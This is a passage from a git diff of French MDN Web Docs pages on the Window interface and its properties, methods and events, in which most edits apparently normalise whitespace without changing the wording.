boutons précédent et suivant. -Pour des raisons de sécurité, l'objet `History` n'autorise pas l'accès au URL d'autres pages présentes dans l'historique de la session mais autorise d'y naviguer. +Pour des raisons de sécurité, l'objet `History` n'autorise pas l'accès au URL d'autres pages présentes dans l'historique de la session mais autorise d'y naviguer. -Il n'y a pas de possibilité de nettoyer l'historique de la session ou de désactiver les boutons précédent et suivant. La solution éventuelle la plus proche serait la méthode [location.replace()](/en/DOM/window.location#replace), permettant de remplacer l'élément actuel de l'historique de la session par l'URL fournie. +Il n'y a pas de possibilité de nettoyer l'historique de la session ou de désactiver les boutons précédent et suivant. La solution éventuelle la plus proche serait la méthode [location.replace()](/en/DOM/window.location#replace), permettant de remplacer l'élément actuel de l'historique de la session par l'URL fournie. ## Spécification diff --git a/files/fr/web/api/window/index.md b/files/fr/web/api/window/index.md index 0b4b4b6f98..837e91b6ce 100644 --- a/files/fr/web/api/window/index.md +++ b/files/fr/web/api/window/index.md @@ -35,7 +35,7 @@ Notez que les propriétés qui sont des objets (par exemple, pour redéfinir le - {{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}} - : Renvoie les objets du contrôleur XUL pour la fenêtre chrome en cours. - {{domxref("Window.customElements")}}{{ReadOnlyInline}} - - : renvoie une référence à l'objet {{domxref("CustomElementRegistry")}}, qui peut être utilisée pour enregistrer de nouveaux [éléments personnalisés](/fr-FR/docs/Web/Web_Components/Using_custom_elements) et obtenir des informations à propos d'éléments personnalisés précédemment enregistrés. + - : renvoie une référence à l'objet {{domxref("CustomElementRegistry")}}, qui peut être utilisée pour enregistrer de nouveaux [éléments personnalisés](/fr-FR/docs/Web/Web_Components/Using_custom_elements) et obtenir des informations à propos d'éléments personnalisés précédemment enregistrés. - {{domxref("Window.crypto")}} {{readOnlyInline}} - : Retourne l'objet crypto du navigateur. - {{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}} @@ -48,19 +48,19 @@ Notez que les propriétés qui sont des objets (par exemple, pour redéfinir le - : Synonyme de {{domxref("window.personalbar")}} - {{domxref("Window.document")}} {{ReadOnlyInline}} - : Renvoie une référence au document que la fenêtre contient. -- {{domxref("Window.DOMMatrix")}} {{readOnlyInline}} {{experimental_inline}} - - : Renvoie une référence à un objet {{domxref("DOMMatrix")}} représentant des matrices 4x4, adapté aux opérations 2D et 3D. -- {{domxref("Window.DOMMatrixReadOnly")}} {{readOnlyInline}} {{experimental_inline}} - - : Renvoie une référence à un objet {{domxref("DOMMatrixReadOnly")}} représentant des matrices 4x4, adapté aux opérations 2D et 3D. -- {{domxref("Window.DOMPoint")}} {{readOnlyInline}} {{experimental_inline}} - - : Renvoie une référence à un objet {{domxref("DOMPoint")}} représentant un point 2D ou 3D dans un système de coordonnées. -- {{domxref("Window.DOMPointReadOnly")}} {{readOnlyInline}} {{experimental_inline}} +- {{domxref("Window.DOMMatrix")}} {{readOnlyInline}} {{experimental_inline}} + - : Renvoie une référence à un objet {{domxref("DOMMatrix")}} représentant des matrices 4x4, adapté aux opérations 2D et 3D. +- {{domxref("Window.DOMMatrixReadOnly")}} {{readOnlyInline}} {{experimental_inline}} + - : Renvoie une référence à un objet {{domxref("DOMMatrixReadOnly")}} représentant des matrices 4x4, adapté aux opérations 2D et 3D. +- {{domxref("Window.DOMPoint")}} {{readOnlyInline}} {{experimental_inline}} + - : Renvoie une référence à un objet {{domxref("DOMPoint")}} représentant un point 2D ou 3D dans un système de coordonnées. +- {{domxref("Window.DOMPointReadOnly")}} {{readOnlyInline}} {{experimental_inline}} - : Renvoie une référence à un objet {{domxref("DOMPointReadOnly")}} représentant un point 2D ou 3D dans un système de coordonnées. -- {{domxref("Window.DOMQuad")}} {{readOnlyInline}} {{experimental_inline}} +- {{domxref("Window.DOMQuad")}} {{readOnlyInline}} {{experimental_inline}} - : Renvoie une référence à un objet {{domxref("DOMQuad")}}, qui fournit un objet quadrilatère, c'est-à-dire, ayant quatre coins et quatre côtés. -- {{domxref("Window.DOMRect")}} {{readOnlyInline}} {{experimental_inline}} - - : Returns a reference to a {{domxref("DOMRect")}} object, which represents a rectangle. -- {{domxref("Window.DOMRectReadOnly")}} {{readOnlyInline}} {{experimental_inline}} +- {{domxref("Window.DOMRect")}} {{readOnlyInline}} {{experimental_inline}} + - : Returns a reference to a {{domxref("DOMRect")}} object, which represents a rectangle. +- {{domxref("Window.DOMRectReadOnly")}} {{readOnlyInline}} {{experimental_inline}} - : Renvoie une référence à un objet {{domxref("DOMRectReadOnly")}} représentant un rectangle. - {{domxref("Window.frameElement")}} {{readOnlyInline}} - : Renvoie l'élément dans lequel la fenêtre est intégrée, ou null si la fenêtre n'est pas intégrée. @@ -74,9 +74,9 @@ Notez que les propriétés qui sont des objets (par exemple, pour redéfinir le - {{domxref("Window.history")}} {{ReadOnlyInline}} - : Retourne une référence à l'objet d'historique. - {{domxref("Window.innerHeight")}} {{readOnlyInline}} - - : Récupère la hauteur de la zone de contenu de la fenêtre du navigateur, y compris, si affichée, la barre de défilement horizontale. + - : Récupère la hauteur de la zone de contenu de la fenêtre du navigateur, y compris, si affichée, la barre de défilement horizontale. - {{domxref("Window.innerWidth")}} {{readOnlyInline}} - - : Récupère la largeur de la zone de contenu de la fenêtre du navigateur, y compris, si affichée, la barre de défilement verticale. + - : Récupère la largeur de la zone de contenu de la fenêtre du navigateur, y compris, si affichée, la barre de défilement verticale. - {{domxref("Window.isSecureContext")}} {{readOnlyInline}} - : Indique si un contexte est capable d'utiliser des fonctionnalités nécessitant des contextes sécurisés. - {{domxref("Window.length")}} {{readOnlyInline}} @@ -90,11 +90,11 @@ Notez que les propriétés qui sont des objets (par exemple, pour redéfinir le - {{domxref("Window.menubar")}} {{ReadOnlyInline}} - : Renvoie l'objet barre de menus, dont la visibilité peut être inversée dans la fenêtre. - {{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}} - - : Renvoie l'objet [gestionnaire de messages](/fr-FR/docs/The_message_manager) pour cette fenêtre. + - : Renvoie l'objet [gestionnaire de messages](/fr-FR/docs/The_message_manager) pour cette fenêtre. - {{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}} {{Deprecated_inline}} - - : Le temps en millisecondes depuis l'instant auquel le cycle d'animation en cours a commencé. + - : Le temps en millisecondes depuis l'instant auquel le cycle d'animation en cours a commencé. - {{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}} - - : Renvoie la coordonnée horizontale (X) du coin supérieur gauche du point de vue de la fenêtre, en coordonnées d'écran. Cette valeur est restituée en pixels CSS. Voir `mozScreenPixelsPerCSSPixel` dans {{interface("nsIDOMWindowUtils")}} pour un facteur de conversion pour s'adapter aux pixels de l'écran si nécessaire. + - : Renvoie la coordonnée horizontale (X) du coin supérieur gauche du point de vue de la fenêtre, en coordonnées d'écran. Cette valeur est restituée en pixels CSS. Voir `mozScreenPixelsPerCSSPixel` dans {{interface("nsIDOMWindowUtils")}} pour un facteur de conversion pour s'adapter aux pixels de l'écran si nécessaire. - {{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}} - : Renvoie la coordonnée verticale (Y) du coin supérieur gauche du point de vue de la fenêtre, en coordonnées d'écran. Cette valeur est indiquée en pixels CSS. Voir `mozScreenPixelsPerCSSPixel` pour un facteur de conversion pour s'adapter aux pixels de l'écran si nécessaire. - {{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}} @@ -103,7 +103,7 @@ Notez que les propriétés qui sont des objets (par exemple, pour redéfinir le - : Récupère / définit le nom de la fenêtre. - {{domxref("Window.navigator")}} {{readOnlyInline}} - : Renvoie une référence à l'objet navigateur. -- {{domxref("Window.NetworkInformation")}} {{readOnlyInline}} {{experimental_inline}} +- {{domxref("Window.NetworkInformation")}} {{readOnlyInline}} {{experimental_inline}} - : Renvoie une référence à l'interface {{domxref("NetworkInformation")}}, qui fournit des informations sur la connexion qu'un périphérique est en train d'utiliser pour communiquer avec le réseau et fournit un moyen pour les scripts d'être notifiés si le type de connexion change. - {{domxref("Window.opener")}} - : Renvoie une référence à la fenêtre qui a ouvert la fenêtre en cours. @@ -122,7 +122,7 @@ Notez que les propriétés qui sont des objets (par exemple, pour redéfinir le - {{domxref("Window.parent")}} {{readOnlyInline}} - : Renvoie une référence au parent de la fenêtre ou du sous-cadre en cours. - {{domxref("Window.performance")}} {{readOnlyInline}} - - : Renvoie un objet {{domxref("Performance")}}, qui inclut les attributs {{domxref("Performance.timing", "timing")}} et {{domxref("Performance.navigation", "navigation")}}, dont chacun est un objet fournissant des données liées aux performances. Voir aussi [Utilisation de Chronométrage de Navigation](/fr-FR/docs/Web/API/Navigation_timing_API/Using_Navigation_Timing) pour plus d'informations et d'exemples. + - : Renvoie un objet {{domxref("Performance")}}, qui inclut les attributs {{domxref("Performance.timing", "timing")}} et {{domxref("Performance.navigation", "navigation")}}, dont chacun est un objet fournissant des données liées aux performances. Voir aussi [Utilisation de Chronométrage de Navigation](/fr-FR/docs/Web/API/Navigation_timing_API/Using_Navigation_Timing) pour plus d'informations et d'exemples. - {{domxref("Window.personalbar")}} {{readOnlyInline}} - : Renvoie l'objet barre personnelle, dont la visibilité peut être inversée dans la fenêtre. - {{domxref("Window.pkcs11")}} {{obsolete_inline(29)}} @@ -138,11 +138,11 @@ Notez que les propriétés qui sont des objets (par exemple, pour redéfinir le - {{domxref("Window.scrollbars")}} {{readOnlyInline}} - : Renvoie l'objet barres de défilement, dont la visibilité peut être modifiée dans la fenêtre. - {{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}} - - : Le décalage maximal dont la fenêtre peut étre décalée horizontalement, c'est-à-dire la largeur du document moins la largeur du point de vue. + - : Le décalage maximal dont la fenêtre peut étre décalée horizontalement, c'est-à-dire la largeur du document moins la largeur du point de vue. - {{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}} - - : Le décalage maximal dont la fenêtre peut étre décalée verticalement (c'est-à-dire, la hauteur du document moins la hauteur du point de vue). + - : Le décalage maximal dont la fenêtre peut étre décalée verticalement (c'est-à-dire, la hauteur du document moins la hauteur du point de vue). - {{domxref("Window.scrollX")}} {{readOnlyInline}} - - : Renvoie le nombre de pixels dont le document a déjà été décalé horizontalement. + - : Renvoie le nombre de pixels dont le document a déjà été décalé horizontalement. - {{domxref("Window.scrollY")}} {{readOnlyInline}} - : Renvoie le nombre de pixels dont le document a déjà été décalé verticalement. - {{domxref("Window.self")}} {{ReadOnlyInline}} @@ -168,14 +168,14 @@ Notez que les propriétés qui sont des objets (par exemple, pour redéfinir le - `window[0]`, `window[1]`, etc. - : Renvoie une référence à l'objet `window` dans les cadres. Voir {{domxref("Window.frames")}}} pour plus de détails. -### Propriétés implémentées depuis ailleurs +### Propriétés implémentées depuis ailleurs - {{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}} - : Renvoie l'objet {{domxref("CacheStorage")}} associé au contexte en cours. Cet objet active des fonctionnalités telles que le stockage des ressources pour une utilisation hors connexion, et la génération de réponses personnalisées aux requêtes. - {{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}} - : Fournit un mécanisme permettant aux applications d'accéder de manière asynchrone à des bases de données indexées ; renvoie un objet {{domxref("IDBFactory")}}. - {{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}} - - : Renvoie un booléen indiquant si le contexte actuel est sécurisé (`true`) ou non (`false`). + - : Renvoie un booléen indiquant si le contexte actuel est sécurisé (`true`) ou non (`false`). - {{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}} - : Renvoie l'origine de l'objet global, sérialisé comme une chaîne. (Cela ne semble pas encore être implémenté dans aucun navigateur.) @@ -188,15 +188,15 @@ _Cette interface hérite des méthodes de l'interface {{domxref("EventTarget")}} - {{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}} - : Recule d'une page dans l'historique de la fenêtre. - {{domxref("Window.blur()")}} - - : Déplace la focalisation hors de la fenêtre. -- {{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}} + - : Déplace la focalisation hors de la fenêtre. +- {{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}} - : Vous permet d'annuler un rappel précédemment planifié avec {{domxref("Window.requestAnimationFrame")}}. -- {{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}} +- {{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}} - : Vous permet d'annuler un rappel précédemment planifié avec {{domxref("Window.requestIdleCallback")}}. - {{domxref("Window.captureEvents()")}} {{Deprecated_inline}} - - : Enregistre la fenêtre pour qu'elle capture tous les évènements du type spécifié. + - : Enregistre la fenêtre pour qu'elle capture tous les évènements du type spécifié. - {{domxref("Window.clearImmediate()")}} - - : Annule l'exécution répétée définie en utilisant `setImmediate`. + - : Annule l'exécution répétée définie en utilisant `setImmediate`. - {{domxref("Window.close()")}} - : Ferme la fenêtre en cours. - {{domxref("Window.confirm()")}} @@ -210,9 +210,9 @@ _Cette interface hérite des méthodes de l'interface {{domxref("EventTarget")}} - {{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}} - : {{todo("NeedsContents")}} - {{domxref("Window.find()")}} - - : Recherche la chaîne de caractères donnée dans une fenêtre. + - : Recherche la chaîne de caractères donnée dans une fenêtre. - {{domxref("Window.focus()")}} - - : Donne la focalisation à la fenêtre en cours. + - : Donne la focalisation à la fenêtre en cours. - {{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}} - : Avance la fenêtre d'un document dans l'historique. - {{domxref("Window.getAttention()")}} {{Non-standard_inline}} {{obsolete_inline}} @@ -220,13 +220,13 @@ _Cette interface hérite des méthodes de l'interface {{domxref("EventTarget")}} - {{domxref("Window.getAttentionWithCycleCount()")}} - : {{todo("NeedsContents")}} - {{domxref("Window.getComputedStyle()")}} - - : Récupère un style calculé pour l'élément donné. Un style calculé indique les valeurs de toutes les propriétés CSS de l'élément. -- {{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}} + - : Récupère un style calculé pour l'élément donné. Un style calculé indique les valeurs de toutes les propriétés CSS de l'élément. +- {{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}} - : Récupère le style calculé par défaut pour l'élément indiqué, en ignorant les feuilles de style d'auteur. - {{domxref("Window.getSelection()")}} - - : Renvoie l'objet de sélection représentant les éléments sélectionnés. + - : Renvoie l'objet de sélection représentant les éléments sélectionnés. - {{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}} - - : Renvoie le navigateur à la page d'accueil. + - : Renvoie le navigateur à la page d'accueil. - {{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}} - : Renvoie un objet {{domxref("MediaQueryList")}} représentant la chaîne d'interrogation de média spécifiée. - {{domxref("Window.maximize()")}} @@ -234,7 +234,7 @@ _Cette interface hérite des méthodes de l'interface {{domxref("EventTarget")}} - {{domxref("Window.minimize()")}} (top-level XUL windows only) - : Minimize la fenêtre. - {{domxref("Window.moveBy()")}} - - : Déplace la fenêtre en cours de la quantité indiquée. + - : Déplace la fenêtre en cours de la quantité indiquée. - {{domxref("Window.moveTo()")}} - : Déplace la fenêtre vers les coordonnées spécifiées. - {{domxref("Window.open()")}} @@ -251,10 +251,10 @@ _Cette interface hérite des méthodes de l'interface {{domxref("EventTarget")}} - : Annule la capture des évènements d'un certain type par la fenêtre. - {{domxref("Window.requestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}} - : Indique au navigateur qu'une animation est en cours, en demandant au navigateur de planifier une redessinage de la fenêtre lors de l'image d'animation suivante. -- {{domxref("Window.requestIdleCallback()")}} {{experimental_inline}} - - : Active la planification de tâches pendant les périodes d'inactivité du navigateur. +- {{domxref("Window.requestIdleCallback()")}} {{experimental_inline}} + - : Active la planification de tâches pendant les périodes d'inactivité du navigateur. - {{domxref("Window.resizeBy()")}} - - : Redimensionne la fenêtre en cours d'une certaine quantité. + - : Redimensionne la fenêtre en cours d'une certaine quantité. - {{domxref("Window.resizeTo()")}} - : Redimensionne dynamiquement la fenêtre. - {{domxref("Window.restore()")}} {{Non-standard_inline}} {{obsolete_inline}} @@ -280,7 +280,7 @@ _Cette interface hérite des méthodes de l'interface {{domxref("EventTarget")}} - {{domxref("Window.sizeToContent()")}} {{Non-standard_inline}} - : Dimensionne la fenêtre en fonction de son contenu. - {{domxref("Window.stop()")}} - - : Cette méthode arrête le chargement de la fenêtre. + - : Cette méthode arrête le chargement de la fenêtre. - {{domxref("Window.updateCommands()")}} {{Non-standard_inline}} - : Met à jour l'état des commandes de la fenêtre chrome en cours (IU). @@ -318,13 +318,13 @@ Ce sont des propriétés de l'objet window qui peuvent être définies pour éta _Cette interface hérite des gestionnaires d'événements de l'interface {{domxref("EventTarget")}} et elle implémente les gestionnaires d'événements de {{domxref("WindowEventHandlers")}}._ -> **Note :** à partir de {{Gecko ("9.0")}}, vous pouvez maintenant utiliser la syntaxe `if ("onabort" in window)` pour déterminer si une propriété de gestionnaire d'événements donnée existe ou non. Cela est dû au fait que les interfaces du gestionnaire d'événements ont été mises à jour pour être des interfaces Web IDL correctes. Voir les gestionnaires d'événements DOM pour plus de détails. +> **Note :** à partir de {{Gecko ("9.0")}}, vous pouvez maintenant utiliser la syntaxe `if ("onabort" in window)` pour déterminer si une propriété de gestionnaire d'événements donnée existe ou non. Cela est dû au fait que les interfaces du gestionnaire d'événements ont été mises à jour pour être des interfaces Web IDL correctes. Voir les gestionnaires d'événements DOM pour plus de détails. - {{domxref("GlobalEventHandlers.onabort")}} - - : Appelé quand le chargement d'une ressource a été avorté, comme par le fait qu'un utilisateur annule un chargement alors qu'il était encore en cours. + - : Appelé quand le chargement d'une ressource a été avorté, comme par le fait qu'un utilisateur annule un chargement alors qu'il était encore en cours. <!----> @@ -350,12 +350,12 @@ _Cette interface hérite des gestionnaires d'événements de l'interface {{domxr <!----> - {{domxref("GlobalEventHandlers.onclick")}} - - : Appelé après qu'un QUELCONQUE bouton de la souris est pressé & relâché. + - : Appelé après qu'un QUELCONQUE bouton de la souris est pressé & relâché. <!----> - {domxref("GlobalEventHandlers.ondblclick")}} - - : Appelé quand un double clic est fait avec un QUELCONQUE bouton de la souris. + - : Appelé quand un double clic est fait avec un QUELCONQUE bouton de la souris. - {{domxref("GlobalEventHandlers.onclose")}} - : Appelé après la fermeture de la fenêtre. @@ -372,7 +372,7 @@ _Cette interface hérite des gestionnaires d'événements de l'interface {{domxr - : Appelé si l'accéléromètre détecte un changement (pour les appareils mobiles). - {{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}} - : Appelé lorsque l'orientation est modifiée (pour les appareils mobiles). -- {{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}} Chrome only +- {{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}} Chrome only - : Propriété de gestionnaire d'événements pour tout changement d'orientation de l'appareil. - {{domxref("Window.ondeviceproximity")}} - : Propriété de gestionnaire d'événement pour l'événement de proximité de l'appareil. @@ -394,7 +394,7 @@ _Cette interface hérite des gestionnaires d'événements de l'interface {{domxr - {{domxref("Window.onappinstalled")}} - : Appelé lorsque la page est installée en tant que webapp. Voir l'événement {{event('appinstalled')}}. - {{domxref("Window.ongamepadconnected")}} - - : Représente un gestionnaire d'événements qui sera exécuté lorsqu'une manette de jeu est branchée (lorsque l'événement {{event('gamepadconnected')}} se déclenche). + - : Représente un gestionnaire d'événements qui sera exécuté lorsqu'une manette de jeu est branchée (lorsque l'événement {{event('gamepadconnected')}} se déclenche). - {{domxref("Window.ongamepaddisconnected")}} - : Représente un gestionnaire d'événements qui s'exécutera quand une manette de jeu est débranchée (lorsque l'événement {{event('gamepaddisconnected')}} se déclenche). - {{domxref("Window.oninput")}} @@ -522,10 +522,10 @@ _Cette interface hérite des gestionnaires d'événements de l'interface {{domxr ## Constructeurs -Voir aussi les [Interfaces DOM](/fr-FR/docs/DOM/DOM_Reference). +Voir aussi les [Interfaces DOM](/fr-FR/docs/DOM/DOM_Reference). - {{domxref("DOMParser")}} - - : `DOMParser` peut analyser un source XML ou HTML stocké dans une chaîne de caractères en un [Document](/fr-FR/docs/DOM/document) DOM. `DOMParser` est spécifié dans [DOM Parsing et Serialization](https://w3c.github.io/DOM-Parsing/). + - : `DOMParser` peut analyser un source XML ou HTML stocké dans une chaîne de caractères en un [Document](/fr-FR/docs/DOM/document) DOM. `DOMParser` est spécifié dans [DOM Parsing et Serialization](https://w3c.github.io/DOM-Parsing/). - {{domxref("Window.GeckoActiveXObject")}} - : {{todo("NeedsContents")}} - {{domxref("Image")}} @@ -537,7 +537,7 @@ Voir aussi les [Interfaces DOM](/fr-FR/docs/DOM/DOM_Reference). - {{domxref("Window.XMLSerializer")}} - : {{todo("NeedsContents")}} - {{domxref("Worker")}} - - : Used for creating a [Web worker](/en-US/docs/DOM/Using_web_workers) + - : Used for creating a [Web worker](/en-US/docs/DOM/Using_web_workers) - {{domxref("Window.XPCNativeWrapper")}} - : {{todo("NeedsContents")}} - {{domxref("Window.XPCSafeJSObjectWrapper")}} @@ -545,7 +545,7 @@ Voir aussi les [Interfaces DOM](/fr-FR/docs/DOM/DOM_Reference). ## Interfaces -Voir [Référence du DOM](/fr/docs/Web/API/Document_Object_Model) +Voir [Référence du DOM](/fr/docs/Web/API/Document_Object_Model) ## Voir aussi diff --git a/files/fr/web/api/window/innerheight/index.md b/files/fr/web/api/window/innerheight/index.md index dba8764f03..55a047fd8c 100644 --- a/files/fr/web/api/window/innerheight/index.md +++ b/files/fr/web/api/window/innerheight/index.md @@ -22,12 +22,12 @@ Récupère la hauteur (en pixels) de la partie visible de la fenêtre de navigat ### Valeur -Renvoie la hauteur de la partie visible de la fenêtre de navigation. La propriété `window.innerHeight` est accessible en lecture seulement ; elle n'a pas de valeur par défaut. +Renvoie la hauteur de la partie visible de la fenêtre de navigation. La propriété `window.innerHeight` est accessible en lecture seulement ; elle n'a pas de valeur par défaut. ## Notes -- La propriété `window.innerHeight` est supportée par tout objet assimilé à une fenêtre _{{domxref("window")}}_, un cadre _frame_ , un ensemble de cadres *frameset*, ou une fenêtre secondaire. -- Il existe un [algorithme](https://bugzilla.mozilla.org/show_bug.cgi?id=189112#c7) pour calculer la hauteur de la partie visible de la fenêtre en excluant la barre de défilement horizontale si est elle affichée. +- La propriété `window.innerHeight` est supportée par tout objet assimilé à une fenêtre _{{domxref("window")}}_, un cadre _frame_ , un ensemble de cadres *frameset*, ou une fenêtre secondaire. +- Il existe un [algorithme](https://bugzilla.mozilla.org/show_bug.cgi?id=189112#c7) pour calculer la hauteur de la partie visible de la fenêtre en excluant la barre de défilement horizontale si est elle affichée. ## Exemples @@ -49,11 +49,11 @@ var intOuterFramesetHeight = top.innerHeight; {{todo("ajouter ici un lien vers une démo interactive")}} - Pour modifier les dimensions d'une fenêtre, voir {{domxref("window.resizeBy()")}} et {{domxref("window.resizeTo()")}}. -- Pour récupérer la hauteur extérieure d'une fenêtre, c'est-à-dire la hauteur de la fenêtre du navigateur dans sa totalité, voir {{domxref("window.outerHeight")}}. +- Pour récupérer la hauteur extérieure d'une fenêtre, c'est-à-dire la hauteur de la fenêtre du navigateur dans sa totalité, voir {{domxref("window.outerHeight")}}. ### Exemple graphique -L'illustration suivante montre la différence entre `outerHeight` et `innerHeight`. +L'illustration suivante montre la différence entre `outerHeight` et `innerHeight`.  diff --git a/files/fr/web/api/window/innerwidth/index.md b/files/fr/web/api/window/innerwidth/index.md index 882ae4d79e..47c2e50a05 100644 --- a/files/fr/web/api/window/innerwidth/index.md +++ b/files/fr/web/api/window/innerwidth/index.md @@ -14,7 +14,7 @@ Permet également de fixer une largeur pour le domaine d'affichage de la fenêtr var largeur = window.innerWidth; -Voir aussi : [window.innerHeight](/fr/docs/Web/API/Window/innerHeight), [window.outerHeight](/fr/docs/Web/API/Window/outerHeight) and [window.outerWidth](/fr/docs/Web/API/Window/outerWidth). +Voir aussi : [window.innerHeight](/fr/docs/Web/API/Window/innerHeight), [window.outerHeight](/fr/docs/Web/API/Window/outerHeight) and [window.outerWidth](/fr/docs/Web/API/Window/outerWidth). ## Valeur renvoyée @@ -23,7 +23,7 @@ Voir aussi : [window.innerHeight](/fr/docs/Web/API/Window/innerHeight), [window ## Notes -La propriété `innerWidth` est supportée par tous les objet "window" comme par exemple une fenêtre, une frame, un frameset, ou une fenêtre secondaire. +La propriété `innerWidth` est supportée par tous les objet "window" comme par exemple une fenêtre, une frame, un frameset, ou une fenêtre secondaire. ## Example diff --git a/files/fr/web/api/window/length/index.md b/files/fr/web/api/window/length/index.md index 31f70f5c81..c9efe7f9c0 100644 --- a/files/fr/web/api/window/length/index.md +++ b/files/fr/web/api/window/length/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Window/length --- {{ ApiRef() }} -Retourne le nombre de frames (soit des éléments de frame ou iframe) présent sur la page. +Retourne le nombre de frames (soit des éléments de frame ou iframe) présent sur la page. ## Syntaxe diff --git a/files/fr/web/api/window/location/index.md b/files/fr/web/api/window/location/index.md index 081d5b2c86..3b3c572a50 100644 --- a/files/fr/web/api/window/location/index.md +++ b/files/fr/web/api/window/location/index.md @@ -8,7 +8,7 @@ browser-compat: api.Window.location La propriété en lecture seule **`Window.location`** renvoie un objet [`Location`](/fr/docs/Web/API/Location) qui contient des informations à propos de l'emplacement courant du document. -Bien que `Window.location` soit un objet `Location` en _lecture seule_, on peut lui affecter une chaîne de caractères [`DOMString`](/fr/docs/Web/API/DOMString). Cela signifie qu'on peut, la plupart du temps, manipuler `location` comme une chaîne de caractères : `location = 'http://www.example.com'` est par exemple synonyme de `location.href = 'http://www.example.com'`. +Bien que `Window.location` soit un objet `Location` en _lecture seule_, on peut lui affecter une chaîne de caractères [`DOMString`](/fr/docs/Web/API/DOMString). Cela signifie qu'on peut, la plupart du temps, manipuler `location` comme une chaîne de caractères : `location = 'http://www.example.com'` est par exemple synonyme de `location.href = 'http://www.example.com'`. Voir la page de l'interface [`Location`](/fr/docs/Web/API/Location) pour connaître l'ensemble des propriétés disponibles. @@ -140,7 +140,7 @@ La même chose mais avec un défilement animé : ```js var showBookmark = (function () { - var _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark, + var _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark, /* * nDuration: la durée, exprimée en millisecondes, pour chaque frame * nFrames: le nombre de frames pour chaque défilement @@ -188,7 +188,7 @@ var showBookmark = (function () { ## Voir aussi -- L'interface qui décrit la valeur renvoyée par cette propriété : [`Location`](/fr/docs/Web/API/Location). -- Une information similaire, mais attachée au document courant : [`Document.location`](/fr/docs/Web/API/Document/location). +- L'interface qui décrit la valeur renvoyée par cette propriété : [`Location`](/fr/docs/Web/API/Location). +- Une information similaire, mais attachée au document courant : [`Document.location`](/fr/docs/Web/API/Document/location). - [Manipuler l'historique du navigateur avec l'API History](/fr/docs/Web/API/History_API) - [`hashchange`](/fr/docs/Web/API/Window/hashchange_event) diff --git a/files/fr/web/api/window/name/index.md b/files/fr/web/api/window/name/index.md index 73ab042772..690c42391e 100644 --- a/files/fr/web/api/window/name/index.md +++ b/files/fr/web/api/window/name/index.md @@ -31,11 +31,11 @@ window.name = "lab_view"; Les noms de fenêtres sont principalement utilisés pour définir les cibles de liens hypertextes et de formulaires. Les fenêtres n'ont pas besoin d'être nommées. -Les noms de fenêtres ont en outre été utilisés par quelques _frameworks_ pour le support des échanges de messages inter-domaines (par exemple [SessionVars](http://www.thomasfrank.se/sessionvars.html) et [dojox.io.windowName](http://www.sitepen.com/blog/2008/07/22/windowname-transport/) de Dojo) comme une alternative plus sécurisée à JSONP. Toutefois, les applications web modernes manipulant des données sensibles devraient utiliser l'[API postMessage](/fr/docs/Web/API/Window/postMessage) pour les échanges de messages inter-domaines plutôt que s'appuyer sur `window.name`. +Les noms de fenêtres ont en outre été utilisés par quelques _frameworks_ pour le support des échanges de messages inter-domaines (par exemple [SessionVars](http://www.thomasfrank.se/sessionvars.html) et [dojox.io.windowName](http://www.sitepen.com/blog/2008/07/22/windowname-transport/) de Dojo) comme une alternative plus sécurisée à JSONP. Toutefois, les applications web modernes manipulant des données sensibles devraient utiliser l'[API postMessage](/fr/docs/Web/API/Window/postMessage) pour les échanges de messages inter-domaines plutôt que s'appuyer sur `window.name`. ## Spécifications | Specification | Status | Comment | | -------------------------------------------------------------------------------------------- | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', 'browsers.html#dom-name', 'Window.name')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'browsers.html#dom-name', 'Window.name')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG', 'browsers.html#dom-name', 'Window.name')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'browsers.html#dom-name', 'Window.name')}} | {{Spec2('HTML5 W3C')}} | | diff --git a/files/fr/web/api/window/offline_event/index.md b/files/fr/web/api/window/offline_event/index.md index 98bd7cc28f..19312bd827 100644 --- a/files/fr/web/api/window/offline_event/index.md +++ b/files/fr/web/api/window/offline_event/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Window/offline_event --- {{APIRef}} -L'événement **`offline`** de l'interface {{domxref("Window")}} se déclenche lorsque le navigateur perd la connexion au réseau et la valeur de {{domxref("Navigator.onLine")}} bascule à `false`. +L'événement **`offline`** de l'interface {{domxref("Window")}} se déclenche lorsque le navigateur perd la connexion au réseau et la valeur 